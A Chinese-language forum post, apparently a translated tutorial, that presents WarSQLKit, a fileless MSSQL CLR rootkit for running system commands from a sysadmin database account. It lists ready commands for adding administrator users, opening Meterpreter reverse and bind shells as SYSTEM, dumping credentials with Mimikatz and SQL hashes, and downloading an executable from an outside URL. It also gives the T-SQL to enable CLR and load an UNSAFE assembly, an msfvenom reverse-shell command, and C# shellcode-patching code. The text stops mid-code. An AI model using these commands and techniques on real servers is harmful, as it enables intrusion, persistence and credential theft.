taibeihacker
Moderator
0x00 前言
在本文中,我們將處理一個很長時間以來一直待解決的問題:MSSQL Rootkit。到目前為止,針對MS-SQL所描述的大多數命令執行都是調用“xp_cmdshell”和“sp_OACreate”存儲過程的。因此,如果在沒有xp_cmdshell和sp_OACreate存儲過程的MSSQL服務器上擁有“sa”帳戶或任何具有“sysadmin”權限的用戶帳戶,我們是否將停止滲透該系統?當然,我們不應該放棄。在本文中將介紹如何獲取具'xp_cmdshell”,“ sp_OACreate”,“ sp_OAMethod”的sysadmin權限的帳戶.
WarSQLKit Github:https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit
此工具用於捕獲具有“系統管理員權限”和“ xp_cmdshell”,“ sp_OACreate”,“ sp_OAMethod”等權限的帳戶。
WarSQLKit命令示例:
EXEC sp_cmdExec 'whoami';=Any Windows command
EXEC sp_cmdExec 'whoami /RunSystemPriv';=Any Windows command with NT AUTHORITY\SYSTEM rights
EXEC sp_cmdExec ''net user eyup P@ssw0rd1 /add' /RunSystemPriv';=Adding users with RottenPotato (Kumpir)
EXEC sp_cmdExec ''net localgroup administrators eyup /add' /RunSystemPriv';=Adding user to localgroup with RottenPotato (Kumpir)
EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS';=(Powershell) with RottenPotato (Kumpir)
EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem';=x86 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem';=x64 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem';=x86 Meterpreter Reverse Connection RC4 with NT AUTHORITY\SYSTEM, RC4PASSWORD=warsql
EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem';=x86 Meterpreter Bind Connection with NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_Mimikatz';
select * from WarSQLKitTemp=Get Mimikatz Log. Thnks Benjamin Delpy

EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300';=Download File
EXEC sp_cmdExec 'sp_getSqlHash';=Get MSSQL Hash
EXEC sp_cmdExec 'sp_getProduct';=Get Windows Product
EXEC sp_cmdExec 'sp_getDatabases';=Get Available Database
WarSQLKit.dll:https://github.com/EPICROUTERSS/MSS.../raw/master/WarSQLKit/bin/Debug/WarSQLKit.dll
WarSQLKit_Compressed.dll:https://github.com/EPICROUTERSS/MSS...er/WarSQLKit/bin/Debug/Confused/WarSQLKit.dll
WarSQLKitMinimal.dll:https://github.com/EPICROUTERSS/MSS...rSQLKitMinimal/bin/Debug/WarSQLKitMinimal.dll
Meterpreter CSharp (C#) Shellcode:https://github.com/EPICROUTERSS/Build-Meterpreter-CSharp-Shellcode
Meterpreter CSharp(C#)Base64編碼的Shellcode:https://github.com/EPICROUTERSS/Build-Encoded-Meterpreter-C-Shellcode
OSCMDEXEC_CLR:https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_clr.sql
0x01 什么是CLR
CLR(公共語言運行庫)提供了.NET Framework的命令執行環境,該環境在MSSQL Server 2005中可運行,同時也可以在MSSQL Server 2016中運行。換言之,它使我們能夠通過MSSQL處理和運行.NET Framework對象。可以使用MSSQL CLR導入任何.NET DLL或使用T-SQL執行命令。0x02 什么是基于CLR的DLL
基於CLR的DLL文件;MsSQL 的C#、VB.NET等。使用其中一種.NET 語言,存儲過程允許T-SQL 語句在.NET 框架中運行,如觸發器等。有了它可創建一個基於DLL的CLR,可以通過將存儲過程或類似的T-SQL 語句從MSSQL 發送DLL 文件來使這些語句正常執行。我想,如果可以通過MSSQL運行任何.NET對象,那麼我就可以在操作系統上運行任何我想要運行的代碼。事實上,進一步來說,可利用.NET的全部功能來構建自己的rootkit。那麼,我們如何做到這一點呢?0x03 创建基于CLR的DLL
首先,我們將從Visual Studio創建一個項目。我們轉到“新建項目”“ SQL Server”“ SQL Server數據庫項目”。
創建我們的項目後,右鍵單擊並選擇添加新建項目SQL CLR C# SQL CLR C#存儲過程。

這些步驟之後,基於CLR的DLL現在已準備就緒。現在我們可以開始編譯了。
0x04 DLL命令处理程序
我們需要編寫一種方法來處理從存儲過程到DLL 的命令。創建此參數的原因是我們必須運行通過MSSQL 傳輸的操作系統命令。
我定義了一個靜態方法,稱為'cmdExec',帶有'cmd'參數。此靜態方法中的命令將傳輸到'RunCommand'靜態方法。這允許我們運行作為輸入發送的命令,通過進程及其參數並返回結果。

使用發送到RunCommand方法的命令,我們從Process()類創建一個進程,並通過cmd.exe運行該進程,然後通過MSSQL將輸出返回給我們。
0x05 程序集 - 存储过程 - 可信关系
使用SQL CLR C#存儲過程,我們創建了.NET DLL的基本版。但是,僅dll無法正常運行。我們需要通過T-SQL在MSSQL中註冊DLL來創建存儲過程。並同時允許通過MSSQL來創建和執行基於CLR的DLL。默認情況下,MSSQL Server 2016不運行基於CLR的DLL文件,它已被禁用。我們使用以下代碼來更改此設置。sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
通過上面的代碼,我們啟用了“clr enabled”參數。完成此過程後,可以將我們的DLL 文件作為程序集添加到MSSQL。
為了確認可信任關係;確保將MSSQL數據庫中的數據庫標記為安全。標記為安全的數據庫可以訪問對象,網絡和進程資源。通過Trustworthy,我們可以使用以下代碼將數據庫標記為安全。
ALTER DATABASE master SET TRUSTWORTHY ON;
完成此過程後,我們需要將DLL文件作為程序集引入到MSSQL中。這是最重要的一部分。有3種不同的方法來在MSSQL中定義程序集(.NET DLL)。因此,我們可以使用3種不同的方法將我們創建的DLL文件加載到數據庫中。
a.DLL 文件作为字节流加载到 MSSQL
我們可以將創建的DLL文件作為字節流加載到MSSQL中。為此,我們需要使用File.ReadAllBytes()類調用在另一個項目中創建的DLL文件
我讀取了在單獨的項目字節流類型中創建的DLL文件,並將其輸出到byteStream.txt中。現在,我們有了DLL文件的字節流。使用此字節流,我們可以將DLL註冊到程序集中,而無需在MSSQL中加載任何DLL。為此,我們將需要執行一些SQL語句。
注意:使用此方法,我們僅將DLL 文件保存為數據流,而無需在MSSQL 中創建任何DLL 文件。這樣,我們的Rootkit 將完全無文件執行。
CREATE ASSEMBLY sp_cmdExec
FROM0x4D5A90000300000004000000FFFF0000B800000000000
WITH PERMISSION_SET=UNSAFE
GO
使用CREATE ASSEMBLY創建一個名為“ sp_cmdExec”的程序集。然後,使用FROM命令選擇要輸出到文件的字節流。這裡要注意的最重要的一點是:在我們輸出到文本文件的字節流的開頭沒有“0xbasında”。當將視頻流粘貼到我們的文本文件中時,它將無法正常運行。因此,在寫入0x之後,我們將字節流粘貼到文本文件中。使用PERMISSION_SET=UNSAFE參數,我們指定DLL可以訪問不安全的資源(也就是說,我們將僅運行sql和t-sql語句)。如果我們將SAFE參數設置為參數並嘗試執行CMD命令,則將拋出錯誤“ System.Security.HostProtectionException cak”,而我們的cmd命令將無法正常執行。

如上圖所示,SAFE僅處理數據庫。 EXTERNAL_ACCESS允許我們訪問文件,註冊表和網絡。 UNSAFE允許我們訪問本機DLL,COM DLLS對象和其他不安全資源。
b.使用SQL Server Management Studio将DLL文件转换为MSSQL
還可以將在SQL Server Management Studio中創建的DLL文件註冊到MSSQL。為此,讓我們通過Management Studio管理MSSQL。
在數據庫中,訪問系統數據庫和主數據庫。然後從“可編程性”菜單中右鍵單擊“Assembly”,然後選擇“New Assembly”。

你可以通過從瀏覽菜單中選擇我們創建的DLL文件來註冊我們的DLL。完成此過程後,可以看到我們的DLL已添加到“程序集”菜單中。

從上面的截圖中可以看出,名為WarSQLKit 的DLL文件已保存到程序集中。
c.服务器中的目录调用DLL
CREATE ASSEMBLY sp_cmdExecFROM 'C:\ProgramData\WarSQLKit.dll'
WITH PERMISSION_SET=UNSAFE
GO
如果我們通過任何其他方式將DLL加載到MSSQL服務器上,我們也可以從目錄中調用DLL。一旦加載了DLL文件,我們就可以將其從服務器中刪除。即使我們從服務器中刪除DLL,我們的程序集也將繼續運行。
在程序集中註冊DLL後,使用3種方法中的任何一種,我們可以調用在DLL中創建的CmdExec靜態方法,或發送一個過程調用。為此,我們最終需要一個存儲過程。使用以下命令,我們可以創建我們的存儲過程。
CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
GO
現在我們都準備好了,讓我們開始運行命令。更詳細的是CREATE PROCEDURE命令“ sp_cmdExec”創建了一個名為sp_cmdExec的存儲過程。現在,我們將使用“ sp_cmdExec”而不是“ xp_cmdshell”.我們還使用@Command [nvarchar](4000)定義了命令參數。由於Nvarchar最多支持4000個字符,因此我們可以運行或顯示4000個字符的命令。我們將調用WarSQLKit,使用EXTERNAL NAME參數創建的DLL的命名名稱,名為StoredProcedures的公共部分類以及名為CmdExec的公共靜態void方法。
0x06 运行Windows命令

EXECsp_cmdExec'net user'; #列出Windows本地用戶列表。我們不再需要像xp_cmdshell和sp_OACrate這樣的存儲過程。我們可以將所有已知的Windows命令發送到操作系統。
0x07 C#-兼容MSSQL的Meterpreter ShellCode
到目前為止,我們所做的與基本的xp_cmdshell執行沒什麼不同。現在我們可以切換到rootkit部分。在上文中我已提到過我們可以在MSSQL中使用.NET Framework的功能。因此,我們需要稍微修改一下DLL文件,然後將Meterpreter Shellcode嵌入到其中。因此,我們可以使用在sp_cmdExec存儲過程中定義的參數來獲得Meterpreter會話。通過從Kali操作系統訪問終端屏幕的msfvenom命令來創建與csharp兼容的shellcode。為此,我們可以使用以下命令。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.129 LPORT=4444 EXITFUNC=none -f csharp --platform windows

我們創建的與csharp兼容的shellcode將是323個字節的代碼。要編譯和運行Meterpreter代碼,我們需要向DLL中添加一個新類。我創建了一個名為MeterpreterBuilder的類。我們為此類定義了一個名為SaveReverseMeterpreter()的公共void方法。在此方法中,我們定義了運行shellcode的條件要求。

然後,我們在MeterpreterBuilder類中全局定義以下參數。

本文中已經準備好我們運行的Shellcode。當我們想直接通過sp_cmdExec運行它時,我們有兩個問題需要解決。 1. MSSQL(sqlservr.exe)不允許我們運行此Shellcode。 2.每次我們從msfvenom生成csharp shellcode並更新我們的DLL時,都會給我們帶來很大的麻煩。因此,我們需要首先解決這些問題。
若要運行Shellcode,我們需要使用.NET Framework的內置編譯器(無需Visual Studio)以exe形式構建代碼,並將其作為單獨的進程運行。由於我們不能每次都處理msfvenom和shellcode,因此需要通過定義字符串ip和字符串端口參數並使用存儲過程中的IP-port參數更新shellcode來編譯SaveReverseMeterpreter()方法。對於步驟1,您可以閱讀標題為'使用.NET Framework( 不戴Visual Studio)C語言的部分。在步驟2中,我們將方法更新為publicstaticvoid SaveReverseMeterpreter(字符串ip,字符串端口)。現在,SaveReverseMeterpreter方法將在調用時提示我們輸入IP和端口。我們將根據輸入的IP和端口信息更新shellcode。我們可以為此使用以下代碼。
var ipOctetSplit=ip.Split('.');
byte octByte1=Convert.ToByte(ipOctetSplit[0]);
byte octByte2=Convert.ToByte(ipOctetSplit[1]);
byte octByte3=Convert.ToByte(ipOctetSplit[2]);
byte octByte4=Convert.ToByte(ipOctetSplit[3]);
int inputPort=Int32.Parse(port);
我們根據“ .”分割作為參數發送的IP。然後將IP分配給4個八位位組。通過為每個八位位組定義一個字節類型變量,我們將以Convert.ToByte作為字符串的IP八位位組轉換為字節型。
我們為端口執行的過程有些不同。我們將端口解析為Int32。原因是該端口僅包含數字。沒有標點符號。此外,端口可以對應於大於256的數字。因此,如果將端口定義為4444,則Meterpreter在shellcode中將具有2個字節的值,因為它大於256。由於我們不知道要設置哪個端口號,因此我們將通過查看端口號的大小來決定應設置哪個數字。
byte port1Byte=0x00; #我定義了2個字節的0x00。
byte port2Byte=0x00;
if (inputPort 256)
{
int portOct1=inputPort/256;
int portOct2=portOct1 * 256;
int portOct3=inputPort - portOct2;
int portoct1Calc=portOct1 * 256 + portOct3;
if (inputPort==portoct1Calc)
{
port1Byte=Convert.ToByte(portOct1);